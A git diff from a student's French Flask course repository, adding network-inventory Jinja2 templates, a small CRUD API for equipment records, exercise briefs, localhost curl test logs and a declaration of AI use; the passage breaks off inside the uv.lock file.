IDHostnameTypeState
{{ equipment.id }} + + {{ equipment.hostname }} + + {{ equipment.type }} + {% if equipment.active %} + UP + {% else %} + DOWN + {% endif %} +
+{% endblock %} diff --git a/Semaine_11/Jour_02/3_3_Jinja2/templates/stats.html b/Semaine_11/Jour_02/3_3_Jinja2/templates/stats.html new file mode 100644 index 0000000..c8bed15 --- /dev/null +++ b/Semaine_11/Jour_02/3_3_Jinja2/templates/stats.html @@ -0,0 +1,35 @@ +{% extends "base.html" %} + +{% block title %}Statistics - Network Inventory{% endblock %} + +{% block content %} +

Inventory statistics

+

Signed-in as {{ username }}.

+ + {% if total > 0 %} + + + + + + + + + + + + + + + + + + + + + +
MetricCount
Total equipments{{ total }}
Active{{ active }}
Inactive{{ inactive }}
+ {% else %} +

There's no equipment in the inventory.

+ {% endif %} +{% endblock %} diff --git a/Semaine_11/Jour_02/BOICHE_Gauvain_Exo_3_1.zip b/Semaine_11/Jour_02/BOICHE_Gauvain_Exo_3_1.zip new file mode 100644 index 0000000..f8ee98b Binary files /dev/null and b/Semaine_11/Jour_02/BOICHE_Gauvain_Exo_3_1.zip differ diff --git a/Semaine_11/Jour_02/BOICHE_Gauvain_Exo_3_2.zip b/Semaine_11/Jour_02/BOICHE_Gauvain_Exo_3_2.zip new file mode 100644 index 0000000..abeb549 Binary files /dev/null and b/Semaine_11/Jour_02/BOICHE_Gauvain_Exo_3_2.zip differ diff --git a/Semaine_11/Jour_02/Exercice 3.1 - API Flask.md b/Semaine_11/Jour_02/Exercice 3.1 - API Flask.md new file mode 100644 index 0000000..23c5820 --- /dev/null +++ b/Semaine_11/Jour_02/Exercice 3.1 - API Flask.md @@ -0,0 +1,56 @@ +# Module 3 — Exercices : Flask & Requests + +Fil rouge : une **API d'inventaire** en Flask, puis sa **consommation** avec la bibliothèque `requests`. + +--- + +## Consignes communes à tous les exercices + +**Usage de l'IA — transparence obligatoire.** +L'IA générative n'est **pas interdite**, mais son usage doit être **assumé et documenté**. Chaque rendu **doit obligatoirement contenir un fichier `USAGE-IA.md`**. Sans ce fichier, le rendu est **incomplet**. + +`USAGE-IA.md` doit préciser : (1) les **outils utilisés** et pour quelles parties, (2) l'**aide obtenue** (avec un exemple de prompt), (3) ce que vous avez **accepté** et *pourquoi vous l'avez compris/validé*, (4) ce que vous avez **refusé ou corrigé** et *pourquoi*, (5) ce que vous avez **appris**. + +> Aucune IA utilisée ? Déclarez-le explicitement. + +**Règle d'or : vous devez pouvoir expliquer et justifier chaque ligne de votre rendu.** Gabarit en annexe. + +**Pré-requis :** environnement virtuel activé, `pip install flask requests`. + +--- + +## Exercice 3.1 — Première API Flask en lecture + +**Compétences visées :** routing Flask, réponses JSON (`jsonify`), code **404**. + +**Consignes :** +1. Créez une application Flask avec une liste d'équipements en mémoire (`id`, `hostname`, `ip`). +2. `GET /api/equipements` → renvoie `{"equipements": [...]}` en JSON. +3. `GET /api/equipements/` → renvoie l'équipement, ou `{"erreur": "..."}` avec le code **404** s'il n'existe pas. +4. Lancez le serveur et testez dans le navigateur ou avec `curl`. + +**Livrables :** `app.py`, `USAGE-IA.md`. + +**Critères d'évaluation :** routes correctes (statique + dynamique), sérialisation JSON, gestion du 404. + + +## Annexe — Gabarit `USAGE-IA.md` + +```markdown +# Usage de l'IA — Exercice X.Y + +## 1. Outils utilisés +(Quel(s) outil(s), pour quelles parties. Ou : « aucune IA utilisée ».) + +## 2. Aide obtenue +(Ce que l'IA a proposé. Exemple de prompt : « … ») + +## 3. Ce que j'ai accepté +(Ce que j'ai repris et pourquoi je l'ai compris et validé.) + +## 4. Ce que j'ai refusé ou corrigé +(Ce que j'ai écarté / modifié, et pourquoi.) + +## 5. Ce que j'ai appris +(Ce que je retiens, ce que je ferais autrement.) +``` diff --git a/Semaine_11/Jour_02/Exercice 3.2 - API CRUD Flask co.md b/Semaine_11/Jour_02/Exercice 3.2 - API CRUD Flask co.md new file mode 100644 index 0000000..a858c08 --- /dev/null +++ b/Semaine_11/Jour_02/Exercice 3.2 - API CRUD Flask co.md @@ -0,0 +1,15 @@ +## Exercice 3.2 — API CRUD Flask complète + +**Compétences visées :** `POST` / `PUT` / `DELETE`, lecture du corps JSON (`request.get_json`), **validation**, codes **201 / 400 / 404**. + +**Consignes :** repartez de l'API du 3.1 et ajoutez : +1. `POST /api/equipements` : crée un équipement depuis le JSON reçu. `hostname` est **obligatoire** (sinon **400**). Renvoie **201** et l'objet créé (avec un `id` auto-incrémenté). +2. `PUT /api/equipements/` : met à jour les champs fournis ; **404** si l'équipement n'existe pas. +3. `DELETE /api/equipements/` : supprime l'équipement ; **404** si absent. +4. Vérifiez chaque opération avec `curl`. + +**Livrables :** `app.py`, `TESTS.md` (vos commandes `curl` et les réponses), `USAGE-IA.md`. + +**Critères d'évaluation :** CRUD complet et cohérent, validation des entrées, bons codes HTTP. + +--- diff --git a/Semaine_11/Jour_02/README.md b/Semaine_11/Jour_02/README.md new file mode 100644 index 0000000..e69de29 diff --git a/Semaine_11/Jour_02/TESTS.md b/Semaine_11/Jour_02/TESTS.md new file mode 100644 index 0000000..9bbb4d0 --- /dev/null +++ b/Semaine_11/Jour_02/TESTS.md @@ -0,0 +1,181 @@ +# Exo 3.2 "API CRUD" - BOICHÉ Gauvain + +## Commandes + +### `POST /api/equipements` + +#### Côté client + +``` +> curl -i -X POST http://127.0.0.1:5000/api/equipments -H "Content-Type: application/json" -d '{"hostname": "test-web-35"}' +HTTP/1.1 201 CREATED +Server: Werkzeug/3.1.8 Python/3.14.6 +Date: Tue, 07 Jul 2026 09:48:45 GMT +Content-Type: application/json +Content-Length: 72 +Connection: close + +{ + "actif": true, + "hostname": "test-web-35", + "id": 3, + "ip": "" +} +> curl -i -X POST http://127.0.0.1:5000/api/equipments -H "Content-Type: application/json" -d '{"hostname": "test-web-37", "ip": "192.168.250.69"}' +HTTP/1.1 201 CREATED +Server: Werkzeug/3.1.8 Python/3.14.6 +Date: Tue, 07 Jul 2026 09:49:10 GMT +Content-Type: application/json +Content-Length: 86 +Connection: close + +{ + "actif": true, + "hostname": "test-web-37", + "id": 4, + "ip": "192.168.250.69" +} +> curl -i -X POST http://127.0.0.1:5000/api/equipments -H "Content-Type: application/json" -d '{"ip": "192.168.250.67"}' +HTTP/1.1 400 BAD REQUEST +Server: Werkzeug/3.1.8 Python/3.14.6 +Date: Tue, 07 Jul 2026 09:49:20 GMT +Content-Type: application/json +Content-Length: 46 +Connection: close + +{ + "erreur": "Le hostname est obligatoire" +} +``` + +#### Côté serveur + +``` +127.0.0.1 - - [07/Jul/2026 11:48:45] "POST /api/equipments HTTP/1.1" 201 - +127.0.0.1 - - [07/Jul/2026 11:49:10] "POST /api/equipments HTTP/1.1" 201 - +127.0.0.1 - - [07/Jul/2026 11:49:20] "POST /api/equipments HTTP/1.1" 400 - +``` + +### `PUT /api/equipements/` + +#### Côté client + +``` +> curl -i http://127.0.0.1:5000/api/equipments +HTTP/1.1 200 OK +Server: Werkzeug/3.1.8 Python/3.14.6 +Date: Tue, 07 Jul 2026 09:50:19 GMT +Content-Type: application/json +Content-Length: 452 +Connection: close + +{ + "equipments": [ + { + "active": true, + "hostname": "srv-web-01", + "id": 1, + "ip": "192.168.1.10" + }, + { + "active": true, + "hostname": "sw-access-02", + "id": 2, + "ip": "192.168.1.2" + }, + { + "actif": true, + "hostname": "test-web-35", + "id": 3, + "ip": "" + }, + { + "actif": true, + "hostname": "test-web-37", + "id": 4, + "ip": "192.168.250.69" + } + ] +} +> curl -i -X PUT http://127.0.0.1:5000/api/equipments/4 -H "Content-Type: application/json" -d '{"ip": "192.168.4.20"}' +HTTP/1.1 200 OK +Server: Werkzeug/3.1.8 Python/3.14.6 +Date: Tue, 07 Jul 2026 09:50:56 GMT +Content-Type: application/json +Content-Length: 84 +Connection: close + +{ + "actif": true, + "hostname": "test-web-37", + "id": 4, + "ip": "192.168.4.20" +} +> curl -i -X PUT http://127.0.0.1:5000/api/equipments/5 -H "Content-Type: application/json" -d '{"ip": "192.168.39.45"}' +HTTP/1.1 404 NOT FOUND +Server: Werkzeug/3.1.8 Python/3.14.6 +Date: Tue, 07 Jul 2026 09:51:08 GMT +Content-Type: application/json +Content-Length: 50 +Connection: close + +{ + "erreur": "\u00c9quipement non trouv\u00e9" +} +``` + +#### Côté serveur + +``` +127.0.0.1 - - [07/Jul/2026 11:50:19] "GET /api/equipments HTTP/1.1" 200 - +127.0.0.1 - - [07/Jul/2026 11:50:56] "PUT /api/equipments/4 HTTP/1.1" 200 - +127.0.0.1 - - [07/Jul/2026 11:51:08] "PUT /api/equipments/5 HTTP/1.1" 404 - +``` + +### `DELETE /api/equipements/` + +#### Côté client + +``` +> curl -i -X DELETE http://127.0.0.1:5000/api/equipments/5 +HTTP/1.1 404 NOT FOUND +Server: Werkzeug/3.1.8 Python/3.14.6 +Date: Tue, 07 Jul 2026 09:52:51 GMT +Content-Type: application/json +Content-Length: 50 +Connection: close + +{ + "erreur": "\u00c9quipement non trouv\u00e9" +} +> curl -i -X DELETE http://127.0.0.1:5000/api/equipments/4 +HTTP/1.1 200 OK +Server: Werkzeug/3.1.8 Python/3.14.6 +Date: Tue, 07 Jul 2026 09:52:54 GMT +Content-Type: application/json +Content-Length: 66 +Connection: close + +{ + "message": "\u00c9quipement supprim\u00e9 avec succ\u00e8s" +} +> curl -i -X DELETE http://127.0.0.1:5000/api/equipments/4 +HTTP/1.1 404 NOT FOUND +Server: Werkzeug/3.1.8 Python/3.14.6 +Date: Tue, 07 Jul 2026 09:52:57 GMT +Content-Type: application/json +Content-Length: 50 +Connection: close + +{ + "erreur": "\u00c9quipement non trouv\u00e9" +} +``` + +#### Côté serveur + +``` +127.0.0.1 - - [07/Jul/2026 11:52:51] "DELETE /api/equipments/5 HTTP/1.1" 404 - +127.0.0.1 - - [07/Jul/2026 11:52:54] "DELETE /api/equipments/4 HTTP/1.1" 200 - +127.0.0.1 - - [07/Jul/2026 11:52:57] "DELETE /api/equipments/4 HTTP/1.1" 404 - +``` \ No newline at end of file diff --git a/Semaine_11/Jour_02/USAGE-IA.md b/Semaine_11/Jour_02/USAGE-IA.md new file mode 100644 index 0000000..24f8bb6 --- /dev/null +++ b/Semaine_11/Jour_02/USAGE-IA.md @@ -0,0 +1,96 @@ +# Exo 3.1 "API Flask" - BOICHÉ Gauvain + +Je déclare n'avoir pas usé de l'IA. J'ai en revanche utilisé à foison la documentation du cours : + +- https://github.com/Laudroid/Live-Python-Web/blob/main/3-1-3-Installation-de-Flask-et-cr%C3%A9ation-d.md +- https://github.com/Laudroid/Live-Python-Web/blob/main/3-1-4-Routing%2C-vues%2C-r%C3%A9ponses-HTTP-(JSON).md +- https://github.com/Laudroid/Live-Python-Web/blob/main/3-1-5-Cr%C3%A9ation-d'APIs-web-(GET%2C-POST%2C-PUT.md + +Et la seule erreur que j'avais eu n'a pas nécessité d'IA non plus. + +Ligne 34 : `@app.route('/api/equipments/', methods=['GET'])` + +> renvoyait une erreur type "TraceError callback" parce que le contenu était `@app.route('/api/equipments/', methods=['GET'])`. Une harmonisation des noms de variables a fait l'affaire. + +# Résultats + +## Côté client +``` +> curl -i http://127.0.0.1:5000/api/equipments +HTTP/1.1 200 OK +Server: Werkzeug/3.1.8 Python/3.14.6 +Date: Tue, 07 Jul 2026 08:40:08 GMT +Content-Type: application/json +Content-Length: 244 +Connection: close + +{ + "equipments": [ + { + "active": true, + "hostname": "srv-web-01", + "id": 1, + "ip": "192.168.1.10" + }, + { + "active": true, + "hostname": "sw-access-02", + "id": 2, + "ip": "192.168.1.2" + } + ] +} +> curl -i http://127.0.0.1:5000/api/equipments/2 +HTTP/1.1 200 OK +Server: Werkzeug/3.1.8 Python/3.14.6 +Date: Tue, 07 Jul 2026 08:40:10 GMT +Content-Type: application/json +Content-Length: 85 +Connection: close + +{ + "active": true, + "hostname": "sw-access-02", + "id": 2, + "ip": "192.168.1.2" +} +> curl -i http://127.0.0.1:5000/api/equipments/25 +HTTP/1.1 404 NOT FOUND +Server: Werkzeug/3.1.8 Python/3.14.6 +Date: Tue, 07 Jul 2026 08:43:01 GMT +Content-Type: application/json +Content-Length: 50 +Connection: close + +{ + "erreur": "\u00c9quipement non trouv\u00e9" +} +(jour-02) PS D:\Users\GaWin\LiveCampus\Semaine_11\Jour_02> +``` + +## Côté serveur +``` + * Serving Flask app 'app' + * Debug mode: on +WARNING: This is a development server. Do not use it in a production deployment. Use a production WSGI server instead. + * Running on http://127.0.0.1:5000 +Press CTRL+C to quit + * Restarting with stat + * Debugger is active! + * Debugger PIN: 917-152-107 +127.0.0.1 - - [07/Jul/2026 10:40:08] "GET /api/equipments HTTP/1.1" 200 - +127.0.0.1 - - [07/Jul/2026 10:40:10] "GET /api/equipments/2 HTTP/1.1" 200 - + * Detected change in '.\app.py', reloading + * Restarting with stat + * Debugger is active! + * Debugger PIN: 917-152-107 +127.0.0.1 - - [07/Jul/2026 10:43:01] "GET /api/equipments/25 HTTP/1.1" 404 - +``` + +# Exo 3.2 "API CRUD" - BOICHÉ Gauvain + +Je déclare n'avoir pas usé de l'IA là non plus. Toujours utilisé à foison la documentation du cours : + +- https://github.com/Laudroid/Live-Python-Web/blob/main/3-1-3-Installation-de-Flask-et-cr%C3%A9ation-d.md +- https://github.com/Laudroid/Live-Python-Web/blob/main/3-1-4-Routing%2C-vues%2C-r%C3%A9ponses-HTTP-(JSON).md +- https://github.com/Laudroid/Live-Python-Web/blob/main/3-1-5-Cr%C3%A9ation-d'APIs-web-(GET%2C-POST%2C-PUT.md \ No newline at end of file diff --git a/Semaine_11/Jour_02/app.py b/Semaine_11/Jour_02/app.py new file mode 100644 index 0000000..ea711bf --- /dev/null +++ b/Semaine_11/Jour_02/app.py @@ -0,0 +1,103 @@ +""" +**Consignes 3_1 :** + +1. Créez une application Flask avec une liste d'équipements en mémoire (`id`, `hostname`, `ip`). + +2. `GET /api/equipments` → renvoie `{"equipments": [...]}` en JSON. + +3. `GET /api/equipments/` → renvoie l'équipement, ou `{"erreur": "..."}` avec le code **404** s'il n'existe pas. + +4. Lancez le serveur et testez dans le navigateur ou avec `curl`. + +**Consignes 3_2 :** repartez de l'API du 3.1 et ajoutez : + +1. `POST /api/equipments` : crée un équipement depuis le JSON reçu. `hostname` est **obligatoire** (sinon **400**). Renvoie **201** et l'objet créé (avec un `id` auto-incrémenté). + +2. `PUT /api/equipments/` : met à jour les champs fournis ; **404** si l'équipement n'existe pas. + +3. `DELETE /api/equipments/` : supprime l'équipement ; **404** si absent. + +4. Vérifiez chaque opération avec `curl`. +""" + +from flask import Flask, request, jsonify + +app = Flask(__name__) + +equipments = [ + {"id": 1, "hostname": "srv-web-01", "ip": "192.168.1.10", "active": True}, + {"id": 2, "hostname": "sw-access-02", "ip": "192.168.1.2", "active": True} +] + +@app.route('/api/statut', methods=['GET']) +def statut_api(): + return jsonify({ + "statut": "succès", + "message": "L'API d'inventaire réseau fonctionne correctement", + "version": "1.0" + }), 200 + +@app.route('/api/equipments', methods=['GET']) +def list_equipments(): + return jsonify({"equipments": equipments}), 200 + +@app.route('/api/equipments/', methods=['GET']) +def get_equipment(equipment_id): + equipment = next((e for e in equipments if e["id"] == equipment_id), None) + + if equipment is None: + return jsonify({"erreur": "Équipement non trouvé"}), 404 + + return jsonify(equipment), 200 + +@app.route('/api/equipments', methods=['POST']) +def post_equipment(): + data = request.get_json() + + if not data or not 'hostname' in data: + return jsonify({"erreur": "Le hostname est obligatoire"}), 400 + + new_equipment = { + "id": max(e['id'] for e in equipments) + 1 if equipments else 1, + "hostname": data['hostname'], + "ip": data.get('ip', ""), + "actif": True + } + + equipments.append(new_equipment) + + return jsonify(new_equipment), 201 + +@app.route('/api/equipments/', methods=['PUT']) +def put_equipment(equipment_id): + equipment = next((e for e in equipments if e["id"] == equipment_id), None) + + if equipment is None: + return jsonify({"erreur": "Équipement non trouvé"}), 404 + + donnees = request.get_json() + + if 'hostname' in donnees: + equipment['hostname'] = donnees['hostname'] + if 'ip' in donnees: + equipment['ip'] = donnees['ip'] + if 'actif' in donnees: + equipment['actif'] = donnees['actif'] + + return jsonify(equipment), 200 + +@app.route('/api/equipments/', methods=['DELETE']) +def delete_equipment(equipment_id): + global equipments + + equipment = next((e for e in equipments if e["id"] == equipment_id), None) + + if equipment is None: + return jsonify({"erreur": "Équipement non trouvé"}), 404 + + equipments = [e for e in equipments if e["id"] != equipment_id] + + return jsonify({"message": "Équipement supprimé avec succès"}), 200 + +if __name__ == '__main__': + app.run(host='127.0.0.1', port=5000, debug=True) \ No newline at end of file diff --git a/Semaine_11/Jour_02/main.py b/Semaine_11/Jour_02/main.py new file mode 100644 index 0000000..96ade29 --- /dev/null +++ b/Semaine_11/Jour_02/main.py @@ -0,0 +1,6 @@ +def main(): + print("Hello from jour-02!") + + +if __name__ == "__main__": + main() diff --git a/Semaine_11/Jour_02/pyproject.toml b/Semaine_11/Jour_02/pyproject.toml new file mode 100644 index 0000000..51c024a --- /dev/null +++ b/Semaine_11/Jour_02/pyproject.toml @@ -0,0 +1,9 @@ +[project] +name = "jour-02" +version = "0.1.0" +description = "Add your description here" +readme = "README.md" +requires-python = ">=3.14" +dependencies = [ + "flask>=3.1.3", +] diff --git a/Semaine_11/Jour_02/uv.lock b/Semaine_11/Jour_02/uv.lock new file mode 100644 index 0000000..39f34ce --- /dev/null +++ b/Semaine_11/Jour_02/uv.lock @@ -0,0 +1,124 @@ +version = 1 +revision = 3 +requires-python = ">=3.14" + +[[package]] +name = "blinker" +version = "1.9.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/21/28/9b3f50ce0e048515135495f198351908d99540d69bfdc8c1d15b73dc55ce/blinker-1.9.0.tar.gz", hash = "sha256:b4ce2265a7abece45e7cc896e98dbebe6cead56bcf805a3d23136d145f5445bf", size = 22460, upload-time = "2024-11-08T17:25:47.436Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/10/cb/f2ad4230dc2eb1a74edf38f1a38b9b52277f75bef262d8908e60d957e13c/blinker-1.9.0-py3-none-any.whl", hash = "sha256:ba0efaa9080b619ff2f3459d1d500c57bddea4a6b424b60a91141db6fd2f08bc", size = 8458, upload-time = "2024-11-08T17:25:46.184Z" }, +] + +[[package]] +name = "click" +version = "8.4.2" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "colorama", marker = "sys_platform == 'win32'" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/76/d4/81420972a676e8ffea40450d8c8c92943e7218a78fe9b64359836cc9876b/click-8.4.2.tar.gz", hash = "sha256:9a6cea6e60b17ebe0a44c5cc636d94f09bd66142c1cd7d8b4cd731c4917a15f6", size = 338000, upload-time = "2026-06-24T17:45:15.148Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/fb/e2/79c688af8b210d232694e31e59da9f6ec747bae31c3f5946e4e9b98860d5/click-8.4.2-py3-none-any.whl", hash = "sha256:e6f9f66136c816745b9d65817da91d61d957fb16e02e4dcd0552553c5a197b76", size = 119243, upload-time = "2026-06-24T17:45:13.73Z" }, +] + +[[package]] +name = "colorama" +version = "0.4.6" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/d8/53/6f443c9a4a8358a93a6792e2acffb9d9d5cb0a5cfd8802644b7b1c9a02e4/colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44", size = 27697, upload-time = "2022-10-25T02:36:22.414Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/d1/d6/3965ed04c63042e047cb6a3e6ed1a63a35087b6a609aa3a15ed8ac56c221/colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6", size = 25335, upload-time = "2022-10-25T02:36:20.889Z" }, +] + +[[package]] +name = "flask" +version = "3.1.3" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "blinker" }, + { name = "click" }, + { name = "itsdangerous" }, + { name = "jinja2" }, + { name = "markupsafe" }, + { name = "werkzeug" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/26/00/35d85dcce6c57fdc871f3867d465d780f302a175ea360f62533f12b27e2b/flask-3.1.3.tar.gz", hash = "sha256:0ef0e52b8a9cd932855379197dd8f94047b359ca0a78695144304cb45f87c9eb", size = 759004, upload-time = "2026-02-19T05:00:57.678Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/7f/9c/34f6962f9b9e9c71f6e5ed806e0d0ff03c9d1b0b2340088a0cf4bce09b18/flask-3.1.3-py3-none-any.whl", hash = "sha256:f4bcbefc124291925f1a26446da31a5178f9483862233b23c0c96a20701f670c", size = 103424, upload-time = "2026-02-19T05:00:56.027Z" }, +] + +[[package]] +name = "itsdangerous" +version = "2.2.0" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/9c/cb/8ac0172223afbccb63986cc25049b154ecfb5e85932587206f42317be31d/itsdangerous-2.2.0.tar.gz", hash = "sha256:e0050c0b7da1eea53ffaf149c0cfbb5c6e2e2b69c4bef22c81fa6eb73e5f6173", size = 54410, upload-time = "2024-04-16T21:28:15.614Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/04/96/92447566d16df59b2a776c0fb82dbc4d9e07cd95062562af01e408583fc4/itsdangerous-2.2.0-py3-none-any.whl", hash = "sha256:c6242fc49e35958c8b15141343aa660db5fc54d4f13a1db01a3f5891b98700ef", size = 16234, upload-time = "2024-04-16T21:28:14.499Z" }, +] + +[[package]] +name = "jinja2" +version = "3.1.6" +source = { registry = "https://pypi.org/simple" } +dependencies = [ + { name = "markupsafe" }, +] +sdist = { url = "https://files.pythonhosted.org/packages/df/bf/f7da0350254c0ed7c72f3e33cef02e048281fec7ecec5f032d4aac52226b/jinja2-3.1.6.tar.gz", hash = "sha256:0137fb05990d35f1275a587e9aee6d56da821fc83491a0fb838183be43f66d6d", size = 245115, upload-time = "2025-03-05T20:05:02.478Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/62/a1/3d680cbfd5f4b8f15abc1d571870c5fc3e594bb582bc3b64ea099db13e56/jinja2-3.1.6-py3-none-any.whl", hash = "sha256:85ece4451f492d0c13c5dd7c13a64681a86afae63a5f347908daf103ce6d2f67", size = 134899, upload-time = "2025-03-05T20:05:00.369Z" }, +] + +[[package]] +name = "jour-02" +version = "0.1.0" +source = { virtual = "." } +dependencies = [ + { name = "flask" }, +] + +[package.metadata] +requires-dist = [{ name = "flask", specifier = ">=3.1.3" }] + +[[package]] +name = "markupsafe" +version = "3.0.3" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/7e/99/7690b6d4034fffd95959cbe0c02de8deb3098cc577c67bb6a24fe5d7caa7/markupsafe-3.0.3.tar.gz", hash = "sha256:722695808f4b6457b320fdc131280796bdceb04ab50fe1795cd540799ebe1698", size = 80313, upload-time = "2025-09-27T18:37:40.426Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/33/8a/8e42d4838cd89b7dde187011e97fe6c3af66d8c044997d2183fbd6d31352/markupsafe-3.0.3-cp314-cp314-macosx_10_13_x86_64.whl", hash = "sha256:eaa9599de571d72e2daf60164784109f19978b327a3910d3e9de8c97b5b70cfe", size = 11619, upload-time = "2025-09-27T18:37:06.342Z" }, + { url = "https://files.pythonhosted.org/packages/b5/64/7660f8a4a8e53c924d0fa05dc3a55c9cee10bbd82b11c5afb27d44b096ce/markupsafe-3.0.3-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:c47a551199eb8eb2121d4f0f15ae0f923d31350ab9280078d1e5f12b249e0026", size = 12029, upload-time = "2025-09-27T18:37:07.213Z" }, + { url = "https://files.pythonhosted.org/packages/da/ef/e648bfd021127bef5fa12e1720ffed0c6cbb8310c8d9bea7266337ff06de/markupsafe-3.0.3-cp314-cp314-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:f34c41761022dd093b4b6896d4810782ffbabe30f2d443ff5f083e0cbbb8c737", size = 24408, upload-time = "2025-09-27T18:37:09.572Z" }, + { url = "https://files.pythonhosted.org/packages/41/3c/a36c2450754618e62008bf7435ccb0f88053e07592e6028a34776213d877/markupsafe-3.0.3-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:457a69a9577064c05a97c41f4e65148652db078a3a509039e64d3467b9e7ef97", size = 23005, upload-time = "2025-09-27T18:37:10.58Z" }, + { url = "https://files.pythonhosted.org/packages/bc/20/b7fdf89a8456b099837cd1dc21974632a02a999ec9bf7ca3e490aacd98e7/markupsafe-3.0.3-cp314-cp314-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:e8afc3f2ccfa24215f8cb28dcf43f0113ac3c37c2f0f0806d8c70e4228c5cf4d", size = 22048, upload-time = "2025-09-27T18:37:11.547Z" }, + { url = "https://files.pythonhosted.org/packages/9a/a7/591f592afdc734f47db08a75793a55d7fbcc6902a723ae4cfbab61010cc5/markupsafe-3.0.3-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:ec15a59cf5af7be74194f7ab02d0f59a62bdcf1a537677ce67a2537c9b87fcda", size = 23821, upload-time = "2025-09-27T18:37:12.48Z" }, + { url = "https://files.pythonhosted.org/packages/7d/33/45b24e4f44195b26521bc6f1a82197118f74df348556594bd2262bda1038/markupsafe-3.0.3-cp314-cp314-musllinux_1_2_riscv64.whl", hash = "sha256:0eb9ff8191e8498cca014656ae6b8d61f39da5f95b488805da4bb029cccbfbaf", size = 21606, upload-time = "2025-09-27T18:37:13.485Z" }, + { url = "https://files.pythonhosted.org/packages/ff/0e/53dfaca23a69fbfbbf17a4b64072090e70717344c52eaaaa9c5ddff1e5f0/markupsafe-3.0.3-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:2713baf880df847f2bece4230d4d094280f4e67b1e813eec43b4c0e144a34ffe", size = 23043, upload-time = "2025-09-27T18:37:14.408Z" }, + { url = "https://files.pythonhosted.org/packages/46/11/f333a06fc16236d5238bfe74daccbca41459dcd8d1fa952e8fbd5dccfb70/markupsafe-3.0.3-cp314-cp314-win32.whl", hash = "sha256:729586769a26dbceff69f7a7dbbf59ab6572b99d94576a5592625d5b411576b9", size = 14747, upload-time = "2025-09-27T18:37:15.36Z" }, + { url = "https://files.pythonhosted.org/packages/28/52/182836104b33b444e400b14f797212f720cbc9ed6ba34c800639d154e821/markupsafe-3.0.3-cp314-cp314-win_amd64.whl", hash = "sha256:bdc919ead48f234740ad807933cdf545180bfbe9342c2bb451556db2ed958581", size = 15341, upload-time = "2025-09-27T18:37:16.496Z" }, + { url = "https://files.pythonhosted.org/packages/6f/18/acf23e91bd94fd7b3031558b1f013adfa21a8e407a3fdb32745538730382/markupsafe-3.0.3-cp314-cp314-win_arm64.whl", hash = "sha256:5a7d5dc5140555cf21a6fefbdbf8723f06fcd2f63ef108f2854de715e4422cb4", size = 14073, upload-time = "2025-09-27T18:37:17.476Z" }, + { url = "https://files.pythonhosted.org/packages/3c/f0/57689aa4076e1b43b15fdfa646b04653969d50cf30c32a102762be2485da/markupsafe-3.0.3-cp314-cp314t-macosx_10_13_x86_64.whl", hash = "sha256:1353ef0c1b138e1907ae78e2f6c63ff67501122006b0f9abad68fda5f4ffc6ab", size = 11661, upload-time = "2025-09-27T18:37:18.453Z" }, + { url = "https://files.pythonhosted.org/packages/89/c3/2e67a7ca217c6912985ec766c6393b636fb0c2344443ff9d91404dc4c79f/markupsafe-3.0.3-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:1085e7fbddd3be5f89cc898938f42c0b3c711fdcb37d75221de2666af647c175", size = 12069, upload-time = "2025-09-27T18:37:19.332Z" }, + { url = "https://files.pythonhosted.org/packages/f0/00/be561dce4e6ca66b15276e184ce4b8aec61fe83662cce2f7d72bd3249d28/markupsafe-3.0.3-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1b52b4fb9df4eb9ae465f8d0c228a00624de2334f216f178a995ccdcf82c4634", size = 25670, upload-time = "2025-09-27T18:37:20.245Z" }, + { url = "https://files.pythonhosted.org/packages/50/09/c419f6f5a92e5fadde27efd190eca90f05e1261b10dbd8cbcb39cd8ea1dc/markupsafe-3.0.3-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:fed51ac40f757d41b7c48425901843666a6677e3e8eb0abcff09e4ba6e664f50", size = 23598, upload-time = "2025-09-27T18:37:21.177Z" }, + { url = "https://files.pythonhosted.org/packages/22/44/a0681611106e0b2921b3033fc19bc53323e0b50bc70cffdd19f7d679bb66/markupsafe-3.0.3-cp314-cp314t-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:f190daf01f13c72eac4efd5c430a8de82489d9cff23c364c3ea822545032993e", size = 23261, upload-time = "2025-09-27T18:37:22.167Z" }, + { url = "https://files.pythonhosted.org/packages/5f/57/1b0b3f100259dc9fffe780cfb60d4be71375510e435efec3d116b6436d43/markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:e56b7d45a839a697b5eb268c82a71bd8c7f6c94d6fd50c3d577fa39a9f1409f5", size = 24835, upload-time = "2025-09-27T18:37:23.296Z" }, + { url = "https://files.pythonhosted.org/packages/26/6a/4bf6d0c97c4920f1597cc14dd720705eca0bf7c787aebc6bb4d1bead5388/markupsafe-3.0.3-cp314-cp314t-musllinux_1_2_riscv64.whl", hash = 